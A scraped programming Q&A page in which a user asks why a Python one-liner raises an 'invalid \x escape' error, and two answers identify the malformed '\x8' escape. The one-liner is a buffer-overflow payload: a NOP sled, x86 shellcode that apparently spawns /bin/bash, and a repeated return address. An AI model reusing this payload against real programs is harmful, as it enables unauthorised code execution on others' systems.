Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

ValueError: invalid \x escape

Tags:

python

python -c 'print "\x90" * 348 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x8\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x30\xd1\xff\xff" * 35'
ValueError: invalid \x escape

Any idea what's causing this error ?

like image 925
Madhur Ahuja Avatar asked Aug 05 '11 12:08

Madhur Ahuja


2 Answers

you have \x8\ in this string, change it to \x08

like image 125
MByD Avatar answered Nov 03 '22 12:11

MByD


\x8, most likely. It should be two hex digits per escape.

like image 7
Cat Plus Plus Avatar answered Nov 03 '22 13:11

Cat Plus Plus